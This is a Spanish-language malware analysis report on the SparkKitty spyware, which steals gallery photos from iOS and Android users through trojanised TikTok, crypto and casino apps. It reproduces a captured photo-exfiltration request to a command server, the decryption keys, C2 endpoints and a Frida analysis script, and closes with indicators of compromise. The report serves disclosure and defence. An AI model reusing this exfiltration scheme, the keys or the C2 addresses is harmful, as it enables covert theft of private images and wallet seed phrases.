
Update 25.06.2025: Apple eliminó la aplicación maliciosa de App Store.
En enero de 2025, descubrimos la campaña de espionaje SparkCat, cuyo objetivo era obtener acceso a las criptocarteras de las víctimas. Los delincuentes distribuían aplicaciones con un SDK/framework malicioso que esperaba a que el usuario abriera una pantalla específica (como el chat de asistencia al cliente) para después solicitar permisos para acceder a la galería y usar un modelo OCR para seleccionar las imágenes de interés. Aunque SparkCat permitía buscar cualquier palabra en las imágenes, en la campaña maliciosa los atacantes solo estaban interesados en fotografías con frases de recuperación de acceso a billeteras de criptomonedas. En aquel entonces, el malware se propagaba tanto mediante fuentes no oficiales como a través de las tiendas de aplicaciones Google Play y App Store. En esta ocasión, nos encontramos ante un nuevo espía que logró infiltrarse en las tiendas oficiales de aplicaciones y que, al parecer, también está dirigido a los activos de criptomonedas de las víctimas y relacionado con SparkCat.
Información breve sobre el nuevo hallazgo:
- El malware está dirigido a dispositivos que funcionan con iOS y Android, y se distribuye tanto por Internet como en la App Store y Google Play. Al momento de la publicación, Google ya había eliminado el malware.
- La carga maliciosa para iOS se presenta en forma de frameworks (que en su mayoría se camuflan como AFNetworking.framework o Alamofire.framework), bibliotecas ofuscadas que tienen una apariencia similar a libSwiftDarwin.dylib, o está directamente integrada en las aplicaciones.
- El troyano para Android existe en versiones para Java y Kotlin; la versión para Kotlin es un módulo malicioso de Xposed.
- Aunque la mayoría de las versiones del malware roba todas las imágenes sin distinción, encontramos un clúster relacionado, que tiene actividad maliciosa que utiliza OCR para seleccionar las imágenes.
- La campaña maliciosa se lleva realizando desde al menos febrero de 2024.
Todo comenzó con una tienda sospechosa…
Durante una revisión rutinaria de enlaces sospechosos, encontramos varias páginas similares que distribuían modificaciones de TikTok para Android. Estas aplicaciones llamaban a un código adicional desde sus actividades principales. El código solicitaba una configuración almacenada en la dirección hxxps://moabc[.]vip/?dev=az y codificada en Base64. A continuación, un ejemplo de configuración decodificada.
1 2 3 4 5 6 7 8 9 |
{ "links": { "shopCenter": "https://h1997.tiktokapp.club/wap/?", "goodsList": "https://h1997.tiktokapp.club/www/?", "orderList": "https://h1997.tiktokapp.club/www/?", "reg": "https://www.baidu.com", "footbar": "https://www.baidu.com" } } |
Los enlaces obtenidos en la configuración se mostraban en la aplicación como botones que, al presionarlos, se abrían en WebView. Dirigían a una tienda en línea de productos de consumo masivo llamada TikToki Mall, que aceptaba pagos en criptomonedas. No pudimos verificar si la tienda funcionaba: para pagar los productos es necesario registrarse con un código de invitación.
No encontramos otra funcionalidad sospechosa en las aplicaciones, pero la sensación de que algo no andaba bien nos impulsó a continuar con la investigación. Por eso decidimos investigar el código de las páginas desde donde se distribuían y descubrimos algunos detalles interesantes que indican que también podrían haber distribuido aplicaciones para iOS.
1 2 3 4 5 6 7 |
<div class="t-name"> <div class="tit"> {{if ext=="ipa"}} <i class="iconfont icon-iphone" style="font-size:inherit;margin-right:5px"></i> {{else}} <i class="iconfont icon-android" style="font-size:inherit;margin-right:5px"></i> {{/if}} |
Método de entrega de aplicaciones en iPhone
En efecto, al abrir el sitio web desde un iPhone y pasar por una serie de redirecciones, el usuario llega a una página que finge sin mucho cuidado ser la App Store y ofrece descargar una aplicación:
Como es sabido, iOS no permite descargar y ejecutar cualquier aplicación de fuentes externas. No obstante, Apple proporciona a los desarrolladores que participan en el programa Apple Developer los llamados “perfiles de aprovisionamiento”, que permiten cargar en el dispositivo del usuario los certificados del desarrollador que iOS después utilizará para verificar la firma digital de la aplicación y determinar si se la debe ejecutar. Además del propio certificado, los perfiles de aprovisionamiento incluyen su fecha de vencimiento, los permisos otorgados a la aplicación y otros datos sobre el desarrollador y el software. Al instalar el perfil en el dispositivo, el certificado se vuelve fiable y la aplicación firmada con él se torna accesible para su ejecución.
Los perfiles de aprovisionamiento pueden ser de varios tipos. Los perfiles de depuración se utilizan para probar aplicaciones y se distribuyen solo en un conjunto predeterminado de dispositivos. Los perfiles de App Store Connect permiten publicar una aplicación en la App Store. Los perfiles Enterprise fueron creados para que las organizaciones puedan desarrollar e instalar aplicaciones para uso interno en los dispositivos de sus empleados, sin necesidad de publicarlas en la App Store y sin limitaciones sobre los dispositivos en los que pueden instalarse. Aunque la participación en el programa Apple Developer es de pago e implica una verificación del desarrollador por parte de Apple, a menudo los perfiles Enterprise son usados tanto por aplicaciones que no cumplen con los requisitos para su distribución en la en la App Store (como casinos en línea, cracks o versiones piratas de programas populares), como por autores de software malicioso.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 |
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>AppIDName</key> <string>rdcUniApp</string> <key>ApplicationIdentifierPrefix</key> <array> <string>EHQ3N2D5WH</string> </array> <key>CreationDate</key> <date>2025-01-20T06:59:55Z</date> <key>Platform</key> <array> <string>iOS</string> <string>xrOS</string> <string>visionOS</string> </array> <key>IsXcodeManaged</key> <false/> <key>DeveloperCertificates</key> <array> <data>OMITTED</data> </array> <key>DER-Encoded-Profile</key> <data>OMITTED</data> <key>Entitlements</key> <dict> <key>application-identifier</key> <string>EHQ3N2D5WH.com.ss-tpc.rd.rdcUniApp</string> <key>keychain-access-groups</key> <array> <string>EHQ3N2D5WH.*</string> <string>com.apple.token</string> </array> <key>get-task-allow</key> <false/> <key>com.apple.developer.team-identifier</key> <string>EHQ3N2D5WH</string> </dict> <key>ExpirationDate</key> <date>2026-01-20T06:59:55Z</date> <key>Name</key> <string>syf</string> <key>ProvisionsAllDevices</key> <true/> <key>TeamIdentifier</key> <array> <string>EHQ3N2D5WH</string> </array> <key>TeamName</key> <string>SINOPEC SABIC Tianjin Petrochemical Co. Ltd.</string> <key>TimeToLive</key> <integer>365</integer> <key>UUID</key> <string>55b65f87-9102-4cb9-934a-342dd2be8e25</string> <key>Version</key> <integer>1</integer> </dict> </plist> |
Ejemplo de un perfil de aprovisionamiento instalado para ejecutar una modificación maliciosa de TikTok
En las modificaciones maliciosas de TikTok, los atacantes utilizaron el perfil Enterprise, como indica el contenido de la siguiente clave:
1 2 |
<key>ProvisionsAllDevices</key> <true/> |
Cabe destacar que la instalación de cualquier perfil de aprovisionamiento requiere la participación directa del usuario, y sucede de la siguiente manera:
Vinimos buscando cobre y encontramos oro
La aplicación instalada, al igual que en la versión de Android, contenía una biblioteca que insertaba enlaces a una tienda sospechosa en la ventana del perfil del usuario. Al hacer clic en ellos, se abrían con WebView.
A simple vista parecería que el caso estaba resuelto: que era otra versión modificada de una aplicación popular que intenta monetizarse. Sin embargo, en la versión para iOS nos llamó la atención un detalle extraño: cada vez que se iniciaba, la aplicación solicitaba acceso a la galería del usuario, lo cual no es un comportamiento típico del TikTok original. Es más, la biblioteca asociada a la tienda no contenía el código responsable de acceder a la galería del usuario, y la versión para Android no enviaba solicitudes de acceso a imágenes. Esto nos motivó a indagar un poco más y examinar otras dependencias de la aplicación, lo que nos llevó a descubrir un módulo malicioso: AFNetworking.framework. Para adelantar, señalamos que en algunas aplicaciones se encontraba bajo el nombre de Alamofire.framework, pero en lo demás el código era el mismo. La versión original de AFNetworking es de código abierto y proporciona a los desarrolladores un conjunto de interfaces para facilitarles el trabajo con redes.
La versión maliciosa se diferencia de la original porque se han introducido cambios en la clase AFImageDownloader y se ha agregado la clase AFImageDownloaderTool
. Es curioso que, para lanzar la carga maliciosa, los autores no crearon funciones de inicialización separadas ni modificaron los símbolos que la biblioteca exporta. En el lenguaje Objective-C, las clases pueden definir un selector especial llamado load
, que se llama de forma automática durante la etapa de carga de la aplicación. En este caso, el punto de entrada a la carga maliciosa era el selector +[AFImageDownloader load]
, que tampoco está en la versión original del framework.
La carga maliciosa se ejecuta siguiendo los siguientes pasos:
- Verifica que el valor de la clave
ccool
en el archivo de configuración principal de la aplicación Info.plist corresponda a la cadena77e1a4d360e17fdbc
. Si son diferentes, la carga maliciosa deja de ejecutarse. - Se extrae el valor de la clave
ccc
del archivo Info.plist del framework, codificado mediante base64. Se lo decodifica y descifra utilizando AES-256 en modo ECB con la clavep0^tWut=pswHL-x>>:m?^.^)W
(que se completa con ceros hasta alcanzar una longitud de 32 bytes). Además de esta clave, en algunas muestras se utilizaJ9^tMnt=ptfHL-x>>:m!^.^)A
. Si en la configuración el valor de la claveccc
está vacío o falta, el malware intenta obtener la cadena cifrada con la clavecom.tt.cf
de UserDefaults, una base de datos en la que la aplicación puede guardar información diversa para usarla en ejecuciones posteriores. - El valor descifrado es un conjunto de direcciones desde las cuales el malware va descargando datos, cifrados de la misma manera. El nuevo texto cifrado contiene un conjunto de C2, que se utiliza para enviar las fotografías recopiladas.
- La etapa final antes de enviar las fotografías es obtener el permiso del servidor. Para esto, se utiliza una solicitud GET en la ruta /api/getImageStatus, en la que se transmite información sobre la aplicación y el UUID del usuario. En respuesta, el servidor envía el siguiente JSON:
1{"msg":"success","code":0,"status":"1"}
code
indica a la aplicación si es necesario volver a ejecutar esta solicitud después de un tiempo (un 0 significa que no es necesario), y el campostatus
señala si existe el permiso para enviar fotografías. - Luego, el malware solicita permiso para acceder a la galería, se registra como una función de “callback” que responde a los cambios en la galería y envía al servidor aquellas fotos a las que tiene acceso y que aún no han sido enviadas. Para almacenar información sobre las fotografías ya robadas, crea una base de datos local. Si durante el uso de la aplicación se producen cambios en la galería, intentará acceder a las nuevas imágenes y enviarlas al servidor.
El envío directo de datos se realiza en el selector -[AFImageDownloader receiptID:andPicID:]
mediante una solicitud PUT a /api/putImages. Además de la fotografía, también se envía al servidor información sobre la aplicación, el dispositivo y los identificadores únicos del usuario.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
PUT /api/putImages HTTP/1.1 Host: 23.249.28.88:7777 Content-Type: multipart/form-data; boundary=Boundary+C9D8BE3781515E01 Connection: keep-alive Accept: */* User-Agent: TikTok/31.4.0 (iPhone; iOS 14.8; Scale/3.00) Accept-Language: en-US;q=1, ja-US;q=0.9, ar-US;q=0.8, ru-US;q=0.7 Content-Length: 80089 Accept-Encoding: gzip, deflate --Boundary+C9D8BE3781515E01 Content-Disposition: form-data; name="appname" TikTok --Boundary+C9D8BE3781515E01 Content-Disposition: form-data; name="buid" com.zhiliaoapp.musically --Boundary+C9D8BE3781515E01 Content-Disposition: form-data; name="device" ios --Boundary+C9D8BE3781515E01 Content-Disposition: form-data; name="userId" xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx --Boundary+C9D8BE3781515E01 Content-Disposition: form-data; name="uuid" xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/Lx/xxx --Boundary+C9D8BE3781515E01 Content-Disposition: form-data; name="image"; filename="<name>" Content-Type: image/jpeg ......JFIF.....H.H.....LExif..MM.*...................i.........&.................e.......... ........8Photoshop 3.0.8BIM........8BIM.%................ ...B~...4ICC_PROFILE......$appl....mntrRGB XYZ ....... |
Cavamos más hondo
Al descubrir un espía en la versión de iOS del TikTok modificado, decidimos averiguar si no había un espía similar para Android. La búsqueda inicial nos llevó a muchas aplicaciones de criptomonedas. En sus puntos de entrada, contiene un código malicioso que solicita la configuración desde las direcciones de los C2 y la descifra con AES-256 en modo ECB. A las direcciones descifradas, el troyano les envía una solicitud GET a través de la ruta /api/anheartbeat con información sobre la aplicación infectada. Como respuesta, espera un JSON donde el campo code
permita trabajar con este C2 (permitido si tiene el valor 0), y la bandera status
permita enviar imágenes de la víctima al servidor.
La funcionalidad principal, el robo de imágenes de la galería, funciona en dos etapas. Primero, el malware verifica el valor del indicador “status”. Si éste permite el envío de archivos, el troyano verifica el contenido del archivo aray/cache/devices/.DEVICES en el almacenamiento externo. Durante el primer inicio, escribe allí un número hexadecimal: el MD5 de una cadena que contiene el IMEI y la dirección MAC del dispositivo infectado, así como un UUID aleatorio. El contenido del archivo se compara con la cadena B0B5C3215E6D
. Si es diferente, el troyano envía las imágenes de la galería junto con información sobre el dispositivo infectado al servidor de comando mediante una solicitud PUT en la ruta /api/putDataInfo; caso contrario, solo envía la tercera imagen desde el final de la lista alfabética. Es muy probable que los delincuentes utilicen esta funcionalidad para depurar el código malicioso.
Más tarde encontramos otras versiones de este troyano, que se integraban en aplicaciones de casino y se descargaban mediante el marco LSPosed para interceptar el código de las aplicaciones. De hecho, en estas versiones el troyano era un módulo malicioso de Xposed. Se dedicaba a interceptar los puntos de entrada de la aplicación y ejecutaba allí un código similar al malware descrito anteriormente, pero que tenía algunas características interesantes:
- La dirección donde se almacenan las direcciones C2 cifradas se encontraba tanto en los recursos del módulo como en el código del malware. Al mismo tiempo, se trataba de dos direcciones diferentes, y para obtener el C2 se utilizaban ambas.
- Entre las direcciones del C2 descifradas, se elige la más rápida. Para ello, el troyano envía una solicitud a cada servidor y, en caso de obtener una respuesta correcta, registra el tiempo que tomó establecer la conexión. De los valores obtenidos, elige el menor. Cabe destacar que este algoritmo podría haberse implementado sin almacenar valores intermedios.
- En el código están presentes los nombres originales de clases, métodos y campos.
- El código malicioso está escrito en el lenguaje Kotlin. Se encontraron otras versiones escritas en Java.
Un espía en las tiendas oficiales de aplicaciones
Una de las aplicaciones Java para Android, que contiene una carga útil maliciosa, es un mensajero con función de intercambio de criptomonedas. Esta aplicación fue cargada a Google Play e instalada más de 10 000 veces. En el momento de la investigación, todavía estaba disponible en la tienda. Informamos a Google sobre la amenaza, que retiró la aplicación maliciosa de la tienda.
Otra de las aplicaciones infectadas para Android se llama “币coin” y se distribuye a través de fuentes no oficiales. Sin embargo, también tiene una versión para iOS: la encontramos en la App Store y advertimos a Apple sobre la presencia de una aplicación infectada en la tienda.
Tanto en la versión para Android como en la versión para iOS, la carga maliciosa era parte de la aplicación y no de algún SDK o framework de terceros. En la versión de iOS, la clase central AppDelegate
, que administra el ciclo de vida de la aplicación, registra su selector -[AppDelegate requestSuccess:]
como procesador de las respuestas recibidas a las solicitudes dirigidas a i.bicoin[.]com[.]cn.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
{ code = 0; data = { 27 = ( ); 50002 = ( { appVersion = ""; cTime = 1696304011000; id = 491; imgSubTitle = ""; imgTitle = "\U70ed\U5f00\U5173\Uff08\U65b0\Uff09"; imgType = 50002; imgUrl = 0; imgUrlSub = ""; isFullScreen = 0; isNeed = 1; isSkip = 1; langType = all; operator = 0; skipUrl = ""; sort = 10000; source = 0; type = 0; uTime = <timestamp>; } ); }; dialog = { cancelAndClose = 0; cancelBtn = ""; cancelColor = ""; code = 0; confirmBtn = ""; confirmColor = ""; content = ""; contentColor = ""; time = ""; title = OK; titleColor = ""; type = 3; url = ""; }; |
En este caso, el permiso para enviar fotografías se controla mediante el valor del campo imgUrl
(1 = permitido). Si se lo otorga, el troyano descarga un conjunto cifrado de direcciones del C2, siguiendo un esquema similar al ya descrito, e intenta enviar las imágenes a uno de esos servidores. De manera predeterminada, se utiliza la primera dirección de la lista. Si no está disponible, el malware pasa a la siguiente. La funcionalidad del envío de fotografías está implementada en la clase KYDeviceActionManager
:
Modificación sospechosa de libcrypto.dylib
Durante el proceso de investigación, también encontramos muestras en las que estaba presente otra biblioteca sospechosa: una versión modificada de la biblioteca con primitivos criptográficos, incluida en OpenSSL (libcrypto.dylib). Aparecía bajo los nombres wc.dylib o libswiftDarwin.dylib, contenía funciones de inicialización ofuscadas mediante LLVM y un enlace a la configuración que ya habíamos visto antes en marcos maliciosos. En ella, también se importaba la clase PHPhotoLibrary
, que se usaba en los archivos descritos anteriormente para trabajar con la galería. Se suministraba en conjunto tanto con el módulo malicioso AFNetworking.framework/Alamofire.framework, como sin él.
A diferencia de otras variantes del malware, en el proceso de trabajo la biblioteca no usaba el enlace almacenado en ella que dirigía al archivo de configuración malicioso, por lo que tuvimos que buscar manualmente el código responsable de la comunicación inicial con el C2. Aunque algunos ejemplos de esta biblioteca están bastante ofuscados, en algunos, en particular en el ejemplo con la suma hash c5be3ae482d25c6537e08c888a742832, se conservaron referencias cruzadas al fragmento del código donde se utiliza la URL de la página con la configuración cifrada. Esta función convierte una cadena con un enlace en un objeto de la clase NSString:
Con la ayuda de Frida, podemos ejecutar cualquier segmento de código como una función, pero el que una cadena se convierta a un objeto NSString no es suficiente para confirmar que la biblioteca se utiliza con fines maliciosos. Por lo tanto, subimos varios niveles a través de los enlaces cruzados y, al intentar ejecutar la función que maneja el enlace durante su ejecución, descubrimos que realiza una solicitud GET a una URL maliciosa. Pero no pudimos obtener una respuesta inmediata: el servidor al que conducía el enlace ya no funcionaba. Para que la función se ejecutara correctamente, reemplazamos el enlace con la ayuda de Frida por uno funcional que conocíamos bien, tanto en los datos que devolvía como en la forma en la que se descifraban. Al instalar hooks de registro en la llamada objc_msgSend
y ejecutar la función maliciosa con la URL sustituida, obtuvimos información sobre las llamadas que nos interesaban. He aquí el script de Frida que nos ayudó a hacerlo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
function traceModule(impl, name) { console.log("Tracing " + name, impl); var exit_log = 0; Interceptor.attach(impl, { onEnter: function(args) { var bt = Thread.backtrace(this.context, Backtracer.ACCURATE); if (!moduleMap) { moduleMap = new ModuleMap(); } var modules = bt.map(x => moduleMap.find(x)).filter(x => x != null).map(x => x.name); // we want to trace only calls originating from malware dylib if (modules.filter(x => x.includes('wc.dylib')).length > 0) { exit_log = 1; console.warn("\n*** entering " + name); if(name.includes('objc_msgSend')) { var sel = this.context.x1.readUtf8String(); if (sel.includes("stringWithCString:")) { var s = this.context.x2.readUtf8String(); if (s.includes('.cn-bj.ufileos.com')) { console.log("Replacing URL: ", s); var news = Memory.allocUtf8String('https://data-sdk2.oss-accelerate.aliyuncs.com/file/SGTMnH951121'); this.context.x2 = news; console.log("New URL: ", this.context.x2.readUtf8String()); } else console.log(s); } } //print backtrace console.log(bt.map(DebugSymbol.fromAddress).join("\n")); } }, onLeave: function(retval) { if (exit_log == 1) { console.warn("\n***extiting ", name); console.log(this.context.x0.readByteArray(64)); } } }); } var malInited = false; var malFunc; function callMalware() { if (!malInited) { malFunc = new NativeFunction(base.add(0x7A77CC), 'void', []); traceModule(base.add(0x821360), 'objc_msgSend'); malInited = true; } malFunc(); } var mname = "wc.dylib"; var base = Process.enumerateModules().filter(x=>x.name.includes(mname))[0].base; console.log('Base address: ', base); callMalware(); |
El análisis confirmó la hipótesis inicial: la función maliciosa descarga (desde una URL predefinida) y descifra una configuración que contiene la dirección del servidor C2. Esta dirección se utiliza para exfiltrar información del dispositivo, empleando el mismo esquema descrito anteriormente y la misma clave AES-256. A continuación, se muestra un extracto de los registros de ejecución de la función.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
*** entering objc_msgSend ### Creating NSString object with decrypted string [ 0x20193a010 stringWithCString:"http://84.17.37.155:8081" encoding: ] 0x102781be8 wc.dylib!0x7d1be8 (0x7d1be8) 0x1027590e8 wc.dylib!0x7a90e8 (0x7a90e8) *** entering objc_msgSend ### Creating NSString with api endpoint decrypted somewhere in code [ 0x20193a010 stringWithCString:"%@/api/getStatus?buid=%@&appname=%@&userId=%@" encoding: ] 0x10277cc50 wc.dylib!0x7ccc50 (0x7ccc50) 0x102783264 wc.dylib!0x7d3264 (0x7d3264) ### Here sample initiates HTTP request to decrypted C2 address and decrypts its response ### *** entering objc_msgSend ### Getting server response as data object [ 0x2022d5078 initWithData:encoding: ] 0x10277f4a4 wc.dylib!0x7cf4a4 (0x7cf4a4) 0x1afafcac4 CFNetwork!0x1dac4 (0x180a6cac4) *** leaving objc_msgSend ### Server response in bytes 00000000 41 e9 92 01 a2 21 00 00 8c 07 00 00 01 00 00 00 A....!.......... 00000010 2e 7b 22 6d 73 67 22 3a 22 73 75 63 63 65 73 73 .{"msg":"success 00000020 22 2c 22 63 6f 64 65 22 3a 30 2c 22 75 73 22 3a ","code":0,"us": 00000030 31 2c 22 73 74 61 74 75 73 22 3a 22 30 22 7d 00 1,"status":"0"}. |
El registro de ejecución de la función de arriba muestra que se utiliza la dirección IP obtenida del archivo de configuración cifrado, a la cual se envían datos sobre el dispositivo en la ruta /api/getStatus con argumentos que ya hemos visto en muestras anteriores. También vemos que la respuesta recibida desde el servidor contiene campos que ya conocemos: “code” y “status”. Todos estos elementos permiten afirmar con un alto grado de certeza que esta biblioteca también se utiliza para robar las fotografías del usuario. Lo único que aún no hemos establecido son las condiciones bajo las cuales se activa la función maliciosa. Al iniciarse, la biblioteca se comunica con una dirección C2 cifrada en su propio cuerpo, envía información del dispositivo y espera una respuesta del servidor en forma de una cadena JSON. En el momento de la investigación, no encontramos ninguna muestra que de con una dirección de C2 funcional, por lo tanto, no sabemos qué respuesta espera. Sin embargo, suponemos que en ella (o en las respuestas a solicitudes posteriores) debe estar el permiso para enviar fotografías.
¿Otro clúster de actividad?
Durante la investigación, logramos descubrir una gran cantidad de páginas desde donde se descargaban diversas aplicaciones fraudulentas en formato PWA (progressive web application) para iOS. A primera vista, estas páginas no tenían ninguna relación con la campaña que describimos en este artículo. Sin embargo, su código era similar al de las páginas que distribuían la versión maliciosa de TikTok, por lo que decidimos averiguar cómo los usuarios llegaban a ellas. Al buscar los orígenes de los redireccionamientos, encontramos publicidad de diversas estafas y esquemas piramidales en plataformas populares.
Algunas páginas con PWA contenían una sección que ofrecía a los usuarios descargar una aplicación móvil. En el caso de Android, del enlace se descarga un archivo APK que abre una plataforma de estafas mediante WebView.
Los APK descargados no solo abren contenidos fraudulentos en WebView, sino que también integran una función adicional. Las aplicaciones solicitan acceso para leer el almacenamiento, para después registrar su procesador de eventos de carga de contenido a través de la API Loader. En el procesador se seleccionan todas las imágenes en formatos JPEG y PNG. Estas imágenes se procesan con la biblioteca Google ML Kit, que permite reconocer texto en las imágenes. ML Kit busca bloques de texto, que luego divide en líneas. Si encuentra al menos tres líneas que contengan una palabra de al menos tres letras, el troyano envía la imagen al servidor de los atacantes, cuya dirección obtiene del almacenamiento de Amazon AWS.
Con un nivel moderado de certeza, consideramos que este clúster de actividades está relacionado con el que hemos descrito antes. Esta hipótesis se sustenta en los siguientes argumentos:
- La temática de las aplicaciones maliciosas también está relacionada con las criptomonedas.
- En ambas se utilizan tácticas similares: la dirección del C2 también se encuentra en un almacenamiento en la nube, y también se roba el contenido de la galería.
- Las páginas desde las cuales se distribuyen las PWA para iOS son similares a las páginas desde las cuales se descarga el TikTok malicioso.
Basándonos en que ambos clústeres de actividad están relacionados, suponemos que los autores de las aplicaciones descritas también podrían haberlas distribuido a través de publicidad en redes sociales.
Objetivos de la campaña
Aunque, a diferencia de SparkCat, en los espías que describimos no había indicios directos de que los delincuentes estuviesen interesados en los criptoactivos de las víctimas, suponemos que esa es la razón por la que roban las fotografías. Llegamos a estas conclusiones basándonos en los siguientes detalles:
- Junto con el espía, en la aplicación falsa de TikTok estaba integrada una tienda que solo acepta pagos en criptomonedas.
- Algunas de las aplicaciones que tenían el espía estaban relacionadas con el tema de las criptomonedas de una u otra manera. Como ejemplo, está 币coin en la App Store, que se posiciona como una aplicación para rastrear información actual sobre criptomonedas, o el mensajero SOEX que admite varias funciones de “criptomonedas”.
- El canal principal de propagación del spyware son plataformas similares entre sí que ofrecen descargas de aplicaciones. Durante el proceso de búsqueda, identificamos una cantidad considerable de dominios que no solo distribuyen el troyano descrito, sino también las aplicaciones web progresivas (PWA) a las que los usuarios accedían desde sitios vinculados a estafas con criptomonedas y esquemas piramidales.
Según nuestros datos, los delincuentes apuntaban sobre todo a los usuarios del sudeste asiático y China. Las aplicaciones infectadas que descubrimos en su mayoría eran varios juegos de azar chinos, TikTok y juegos pornográficos. Desde el inicio, estas aplicaciones se enfocaban en usuarios de las regiones mencionadas.
Además, creemos que el malware está relacionado con la campaña SparkCat, por las siguientes razones:
- Algunas aplicaciones de Android infectadas con SparkKitty fueron ensambladas utilizando el mismo marco que se usó para ensamblar aplicaciones infectadas con SparkCat.
- En ambas campañas nos encontramos con las mismas aplicaciones Android
- En los frameworks maliciosos para iOS quedaban símbolos de depuración, entre ellos, las rutas usadas en el sistema de archivos de los atacantes, donde estaban los proyectos que recopilaban. Estas rutas coinciden con las que vimos en SparkCat.
Conclusión
Los delincuentes siguen infiltrándose en las tiendas oficiales de aplicaciones, no solo para Android, sino también para iOS. La campaña de espionaje que hemos descubierto se propaga mediante diferentes vectores, como programas distribuidos desde recursos no oficiales e infectados con un framework/SDK malicioso, y aplicaciones maliciosas en App Store y Google Play. Si bien desde el punto de vista técnico y conceptual no se puede calificar como compleja, se la viene usando desde principios de 2024 y representa una gran amenaza para los usuarios. A diferencia del espía SparkCat descubierto tiempo atrás, este malware no es selectivo en cuanto a qué fotos de la galería roba. Aunque suponemos que el objetivo principal de los delincuentes es capturar pantallas con frases para recuperar acceso a criptocarteras, las imágenes robadas pueden incluir otros datos confidenciales.
A juzgar por las fuentes de distribución, el espía se enfoca en usuarios del sudeste asiático y China, pero no tiene restricciones para afectar a usuarios de otras regiones.
Nuestras soluciones de protección detectan los programas maliciosos asociados con esta campaña con los siguientes veredictos:
- HEUR:Trojan-Spy.AndroidOS.SparkKitty.*
- HEUR:Trojan-Spy.IphoneOS.SparkKitty.*
Indicadores de compromiso
Aplicaciones Android infectadas
b4489cb4fac743246f29abf7f605dd15
e8b60bf5af2d5cc5c501b87d04b8a6c2
aa5ce6fed4f9d888cbf8d6d8d0cda07f
3734e845657c37ee849618e2b4476bf4
fa0e99bac48bc60aa0ae82bc0fd1698d
e9f7d9bc988e7569f999f0028b359720
a44cbed18dc5d7fff11406cc403224b9
2dc565c067e60a1a9656b9a5765db11d
66434dd4402dfe7dda81f834c4b70a82
d851b19b5b587f202795e10b72ced6e1
ce49a90c0a098e8737e266471d323626
cc919d4bbd3fb2098d1aeb516f356cca
530a5aa62fdcca7a8b4f60048450da70
0993bae47c6fb3e885f34cb9316717a3
5e15b25f07020a5314f0068b474fff3d
1346f987f6aa1db5e6deb59af8e5744a
Aplicaciones iOS infectadas
21ef7a14fee3f64576f5780a637c57d1
6d39cd8421591fbb0cc2a0bce4d0357d
c6a7568134622007de026d22257502d5
307a64e335065c00c19e94c1f0a896f2
fe0868c4f40cbb42eb58af121570e64d
f9ab4769b63a571107f2709b5b14e2bc
2b43b8c757c872a19a30dcdcff45e4d8
0aa1f8f36980f3dfe8884f1c6f5d6ddc
a4cca2431aa35bb68581a4e848804598
e5186be781f870377b6542b3cecfb622
2d2b25279ef9365420acec120b98b3b4
149785056bf16a9c6964c0ea4217b42b
931399987a261df91b21856940479634
Frameworks maliciosos para iOS
8c9a93e829cba8c4607a7265e6988646
b3085cd623b57fd6561e964d6fd73413
44bc648d1c10bc88f9b6ad78d3e3f967
0d7ed6df0e0cd9b5b38712d17857c824
b0eda03d7e4265fe280360397c042494
fd4558a9b629b5abe65a649b57bef20c
1b85522b964b38de67c5d2b670bb30b1
ec068e0fc6ffda97685237d8ab8a0f56
f10a4fdffc884089ae93b0372ff9d5d1
3388b5ea9997328eb48977ab351ca8de
931085b04c0b6e23185025b69563d2ce
7e6324efc3acdb423f8e3b50edd5c5e5
8cfc8081559008585b4e4a23cd4e1a7f
Bibliotecas iOS ofuscadas y maliciosas
0b7891114d3b322ee863e4eef94d8523
0d09c4f956bb734586cee85887ed5407
2accfc13aaf4fa389149c0a03ce0ee4b
5b2e4ea7ab929c766c9c7359995cdde0
5e47604058722dae03f329a2e6693485
9aeaf9a485a60dc3de0b26b060bc8218
21a257e3b51561e5ff20005ca8f0da65
0752edcf5fd61b0e4a1e01371ba605fd
489217cca81823af56d141c985bb9b2c
b0976d46970314532bc118f522bb8a6f
f0460bdca0f04d3bd4fc59d73b52233b
f0815908bafd88d71db660723b65fba4
6fe6885b8f6606b25178822d7894ac35
Enlaces para descargar aplicaciones infectadas
hxxps://lt.laoqianf14[.]top/KJnn
hxxps://lt.laoqianf15[.]top/KJnn
hxxps://lt.laoqianf51[.]top/KJnn
hxxps://yjhjymfjnj.wyxbmh[.]cn/2kzos8?a45dd02ac=d4f42319a78b6605cabb5696bacb4677
hxxps://xt.xinqianf38[.]top/RnZr
Páginas que distribuyen troyanos
hxxps://accgngrid[.]com
hxxps://byteepic[.]vip
C2 y almacenes para configuraciones
C2:
23.249.28[.]88
120.79.8[.]107
23.249.28[.]200
47.119.171[.]161
api.fxsdk.com
Configuraciones:
hxxp://120.78.239[.]17:10011/req.txt
hxxp://39.108.186[.]119:10011/req.txt
hxxps://dhoss-2023.oss-cn-beijing.aliyuncs[.]com/path/02WBUfZTUvxrTMGjh7Uh
hxxps://sdk-data-re.oss-accelerate.aliyuncs[.]com/JMUCe7txrHnxBr5nj.txt
hxxps://gitee[.]com/bbffipa/data-group/raw/master/02WBUfZTUvxrTMGjh7Uh
hxxps://ok2025-oss.oss-cn-shenzhen.aliyuncs[.]com/ip/FM4J7aWKeF8yK
hxxps://file-ht-2023.oss-cn-shenzhen.aliyuncs[.]com/path/02WBUfZTUvxrTMGjh7Uh
hxxps://afwfiwjef-mgsdl-2023.oss-cn-shanghai.aliyuncs[.]com/path/02WBUfZTUvxrTMGjh7Uh
hxxps://zx-afjweiofwe.oss-cn-beijing.aliyuncs[.]com/path/02WBUfZTUvxrTMGjh7Uh
